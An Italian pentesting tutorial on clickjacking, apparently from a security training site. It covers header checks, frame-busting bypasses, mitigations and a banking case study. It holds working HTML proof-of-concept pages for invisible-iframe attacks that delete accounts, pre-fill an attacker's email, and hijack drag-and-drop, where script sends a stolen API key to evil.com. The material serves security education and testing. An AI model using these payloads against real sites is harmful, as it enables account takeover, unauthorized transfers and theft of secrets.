Clickjacking: Cos’è e Come Trovarlo nel Pentesting Web

Scopri cos’è il clickjacking (UI Redressing) e come individuarlo nel pentesting web: iframe invisibili, X-Frame-Options, CSP frame-ancestors e PoC reali.
- Pubblicato il 2026-03-13
- Tempo di lettura: 5 min
Il clickjacking è una vulnerabilità web che permette a un attaccante di dirottare il click di un utente verso un’azione che non intendeva eseguire — cambio email, trasferimento fondi, eliminazione account. Nel pentesting web è uno dei test obbligatori su qualsiasi applicazione con azioni sensibili.
L’attaccante carica la pagina legittima in un iframe invisibile sovrapposto a una pagina esca. L’utente è autenticato, il browser invia i cookie, e il click viene registrato come legittimo. A differenza del CSRF — che forgia request automatiche — il clickjacking richiede un’interazione reale ma la dirotta. Il risultato può essere un account takeover completo.
Satellite della guida pillar Misc & Infra Attacks. Vedi anche: CSRF, XSS.
Riferimenti: PortSwigger Clickjacking, OWASP Clickjacking, HackTricks Clickjacking.
In Sintesi #
| Cos’è | Iframe invisibile sovrapposto a pagina legittima — il click va dove non vedi |
| Come verificarlo | Controlla X-Frame-Options / CSP frame-ancestors su ogni pagina sensibile |
| Come sfruttarlo | Iframe trasparente + bottone esca allineato sopra il bottone target |
| Come mitigarlo | X-Frame-Options: DENY o Content-Security-Policy: frame-ancestors 'none' |
Detection #
Step 1: Verifica Header Di Protezione #
# Controlla OGNI pagina sensibile (non solo la homepage):
for path in "/" "/account/settings" "/account/delete" "/transfers" "/admin"; do
echo "=== $path ==="
curl -sI "https://target.com$path" \
-H "Cookie: session=VALID" \
| grep -iE "x-frame-options|content-security-policy" || echo "NESSUNA PROTEZIONE!"
done
# PROTETTO se:
# X-Frame-Options: DENY → non frameable
# X-Frame-Options: SAMEORIGIN → solo stesso dominio
# Content-Security-Policy: frame-ancestors 'none' → non frameable
# Content-Security-Policy: frame-ancestors 'self' → solo stesso dominio
# VULNERABILE se:
# → Nessun header (la protezione manca del tutto)
# → X-Frame-Options: ALLOW-FROM (DEPRECATO — Chrome/Firefox lo ignorano!)
# → frame-ancestors con dominio troppo permissivoStep 2: PoC Iframe (10 Secondi) #
<!-- Salva come test.html, apri nel browser -->
<iframe src="https://target.com/account/settings" width="800" height="600"></iframe>
<!-- Se la pagina si carica → clickjacking possibile
Se il browser blocca ("Refused to display") → protetto -->Step 3: Verifica Ogni Pagina Sensibile #
# La protezione potrebbe essere presente sulla homepage ma ASSENTE su:
# /account/settings (cambio email/password)
# /account/delete (eliminazione account)
# /transfers/new (trasferimenti)
# /admin/users (pannello admin)
# /oauth/authorize (autorizzazione app OAuth)
# /2fa/disable (disabilitazione 2FA)
# Testa ognuna separatamente — spesso gli header sono configurati per routeStep 4: Controlla JavaScript Frame Busting #
# Alcuni siti usano JavaScript invece di header:
# if (top !== self) { top.location = self.location; }
# Bypass con sandbox:
<iframe sandbox="allow-forms allow-scripts" src="https://target.com/settings"></iframe>
# L'attributo sandbox blocca il frame busting JavaScript!
# Il form funziona ancora (allow-forms) → clickjacking possibile
# Bypass con doppio frame:
<iframe src="data:text/html,<iframe src='https://target.com/settings'></iframe>"></iframe>
# Il frame busting controlla top !== self, ma il "top" è il data: frame, non evil.comExploitation #
Click Singolo — Azione Diretta #
<style>
.target-frame {
position: absolute; top: 0; left: 0;
width: 800px; height: 600px;
opacity: 0.0001; /* Invisibile */
z-index: 2; /* Sopra tutto */
}
.bait {
position: absolute;
top: 285px; left: 220px; /* Esattamente sopra il bottone target */
z-index: 1;
font-size: 24px; cursor: pointer;
}
</style>
<iframe class="target-frame" src="https://target.com/account/settings#delete-section"></iframe>
<div class="bait">🎁 Clicca qui per il tuo premio!</div>
<!-- L'utente clicca "premio" → clicca "Elimina account" sotto -->Multistep — Sequenza Di Click #
<style>
.frame { position:absolute; opacity:0.0001; z-index:2; width:800px; height:600px; }
#step1 { position:absolute; top:285px; left:220px; z-index:1; font-size:20px; cursor:pointer; }
#step2 { position:absolute; top:350px; left:300px; z-index:1; font-size:20px; display:none; cursor:pointer; }
</style>
<iframe class="frame" src="https://target.com/account/delete"></iframe>
<div id="step1" onclick="this.style.display='none'; document.getElementById('step2').style.display='block'">
Step 1: Verifica la tua identità
</div>
<div id="step2">Step 2: Conferma la verifica</div>
<!-- Click 1 → "Elimina account" | Click 2 → "Sì, sono sicuro" -->Pre-fill Via URL Parameters #
<!-- Se la pagina accetta parametri GET per pre-compilare i form: -->
<iframe class="frame"
src="https://target.com/account/settings?email=attacker@evil.com#change-email">
</iframe>
<div class="bait">Verifica il tuo account</div>
<!-- L'email è pre-compilata con quella dell'attaccante.
Il click dell'utente preme "Salva" → email cambiata! →
L'attaccante fa password reset → account takeover -->Drag-and-Drop Hijacking #
<style>
.frame { position:absolute; opacity:0.0001; z-index:2; }
.dropzone { width:200px; height:200px; border:2px dashed #ccc; padding:50px; }
</style>
<iframe class="frame" src="https://target.com/api-keys"></iframe>
<div class="dropzone" id="drop">Trascina qui la tua foto</div>
<script>
document.getElementById('drop').addEventListener('drop', function(e) {
e.preventDefault();
var data = e.dataTransfer.getData('text');
// L'utente ha trascinato la sua API key dall'iframe nascosto!
fetch('https://evil.com/log', {method:'POST', body:data});
});
document.getElementById('drop').addEventListener('dragover', function(e) { e.preventDefault(); });
</script>Output Reale #
$ curl -sI "https://target.com/account/settings" -H "Cookie: session=valid" \
| grep -iE "x-frame|frame-ancestors"
# (nessun output → NESSUNA PROTEZIONE)
$ curl -sI "https://target.com/" | grep -i x-frame
X-Frame-Options: SAMEORIGIN
# → La homepage è protetta, ma /account/settings NO!
# Header configurato solo sulla homepage, non sulle route sensibiliX-Frame-Options vs CSP frame-ancestors #
| X-Frame-Options | CSP frame-ancestors | |
|---|---|---|
| Standard | Vecchio (HTTP header standalone) | Moderno (parte di CSP) |
| Browser vecchi | ✅ Supportato | ⚠️ Non sempre |
| Flessibilità | Bassa (DENY / SAMEORIGIN / ALLOW-FROM) | Alta (lista domini, wildcard) |
| ALLOW-FROM | ⚠️ Deprecato — Chrome/Firefox lo ignorano | N/A |
| Priorità | Ignorato se CSP frame-ancestors è presente | Ha la precedenza su X-Frame-Options |
| Consiglio | Usalo per compatibilità legacy | Usalo come protezione principale |
Regola pratica: usa entrambi. frame-ancestors 'none' + X-Frame-Options: DENY in contemporanea copre browser vecchi e nuovi senza gap.
Workflow Operativo #
Step 1 → Verifica X-Frame-Options e CSP frame-ancestors su OGNI pagina sensibile (non solo homepage)
Step 2 → Se assenti → crea PoC HTML con iframe trasparente
Step 3 → Identifica azioni critiche frameable (cambio email, delete, transfer, authorize)
Step 4 → Se frame busting JS → testa bypass con sandbox e double frame
Step 5 → Se la pagina accetta parametri GET → pre-compila il form nel PoC
Step 6 → Documenta: quale azione l’utente esegue inconsapevolmente
Caso Studio #
Settore: Online banking, 100.000 clienti.
La homepage aveva X-Frame-Options: SAMEORIGIN. Ma la pagina /transfers/quick (trasferimento rapido con beneficiario pre-salvato) non aveva l’header. Il form accettava parametri GET: /transfers/quick?beneficiary=IT60X054...&amount=500. PoC: iframe invisibile con URL pre-compilato + bottone esca “Verifica il tuo conto”. Un click → trasferimento di 500€.
Header sulla homepage ma non sulla pagina trasferimenti → bonifico con un click.
FAQ #
Qual è la differenza tra Clickjacking e CSRF? #
Il CSRF forgia una request automatica senza interazione dell’utente (basta visitare la pagina). Il clickjacking richiede che l’utente clicchi fisicamente — ma il click viene dirottato su un’azione diversa. Il CSRF è bloccato dai CSRF token; il clickjacking è bloccato dagli header X-Frame-Options/frame-ancestors.
X-Frame-Options o CSP frame-ancestors? #
Usa entrambi per compatibilità. CSP: frame-ancestors è più flessibile e moderno. X-Frame-Options è supportato da browser più vecchi. Se entrambi sono presenti, frame-ancestors ha la priorità. Vedi la tabella sopra per il confronto completo.
Il clickjacking è considerato grave? #
Dipende dall’azione che riesci a far eseguire. “Metti like a un post” = basso impatto. “Trasferisci fondi” o “Cambia email dell’account” = critico. Nei report, documenta sempre l’azione specifica, non solo “la pagina è frameable”.
Il sandbox bypass funziona sempre? #
No. sandbox="allow-forms allow-scripts" disabilita il frame busting JavaScript ma mantiene i form funzionanti. Tuttavia, senza allow-same-origin i cookie non vengono inviati — il che rende inutile il clickjacking su pagine autenticate. Il bypass funziona solo se l’azione non richiede cookie (raro).
✅ Checklist #
DETECTION
☐ X-Frame-Options verificato su OGNI pagina sensibile
☐ CSP frame-ancestors verificato
☐ ALLOW-FROM presente? (deprecato → falsa protezione!)
☐ PoC iframe: la pagina si carica?
☐ Frame busting JS presente? → sandbox bypass testato?
☐ Header mancante su route specifiche? (settings, delete, transfer ma non homepage)
EXPLOITATION
☐ Azioni critiche frameable (cambio email, delete, transfer, authorize)
☐ Parametri GET per pre-fill form?
☐ PoC HTML con iframe trasparente + bottone esca creato
☐ Multistep clickjacking testato (se servono più click)
☐ Drag-and-drop hijacking possibile?
IMPATTO
☐ Azione eseguita documentata (ATO, financial, data)
☐ Pre-fill possibile? (aumenta gravità)Le tue pagine sensibili hanno
X-Frame-Options: DENY? Le azioni critiche sono frameable? Penetration test HackIta. Dal click invisibile all’account takeover: formazione 1:1.







